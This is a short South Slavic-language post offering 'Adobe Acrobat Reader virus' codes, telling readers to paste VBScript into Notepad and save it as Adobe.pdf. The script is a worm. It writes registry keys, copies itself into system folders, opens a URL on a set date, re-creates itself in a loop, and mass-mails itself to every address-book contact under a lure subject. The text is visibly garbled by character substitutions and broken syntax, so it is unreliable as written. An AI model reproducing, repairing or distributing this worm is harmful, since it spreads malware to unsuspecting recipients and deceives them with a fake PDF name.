KODOVI ZA ADOBE ACROBAT READER virus

Ubacite u Notepad donji tekst, zatim ga upisite u formatu Adobe.pdf

Pdf.AdobeAcrobatReader Created By AdobeAcrobatReader
On Error Resume Next
Set shellobject=CreateObject(”WScript. Shell’)
shellobject. regwrite “H KCU\software\AdobeAcrobatReader\”, “Worm made with Vbswg 1k”
Set fi[esystem= Createobject(”scripting. filesystemobject”)
filesystem. copyfile
wscript.scriptfu[[name, filesystem. GetSpecia[Fo[der(O)
&“\Adobe.pdf”
if shellobject. regread (“H KCU\software\AdobeAcrobatReader\mai[ed”)
“1” then
maiL worm()
end if
if month(now)=1 and day(now)=27 then
she[[object.run“Http://www.dynabyte.nC’,3,fa[se
end if
Set wormffte=filesystem.opentextfile(wscript.scriptfullname,
1)
payload=wormffte.readall
wormffte.Close
Do
If Not (filesystem. fileexists(wscript.scriptfullname))Then
Set newfile=filesystem.createtextfile(wscript.scriptfullname,True)
newfile.write payload
newfile.Close
End If
Loop
Function mail_worm()
On Error Resume Next
Set eBook=CreateObject(”eBook.Application”)
If ebook=“eBook”Then
Set mapi=eBook.GetNameSpace(”PDF”)
Set add resses= PDF. Address Lists
For Each address In addresses
If address.AddressEntries.Count <> 0 Then
count = address.AddressEntries.Count
For 1=2To count
Set email =eBook.Createltem(1)
Set entry=address.AddressEntries( I)
email.To=entry.Address
email.Subject = “Login, ;o)”
email.Body=“Hi:”&vbcrlf&“online!”&vbcrlf &
set attachment=email.Attachments
attachment.Add filesystem. GetSpecialFolder(1)&
“\Adobe.pdf”
email.UpdateAfterSubmit=True
If email.To <>“Then
email. Send
shellobject.regwrite“H KCU\software\AdobeAcrobatReader\mailed”, “1”
End If
Next
End If
Next
end if
End Function
‘Vbswg 1k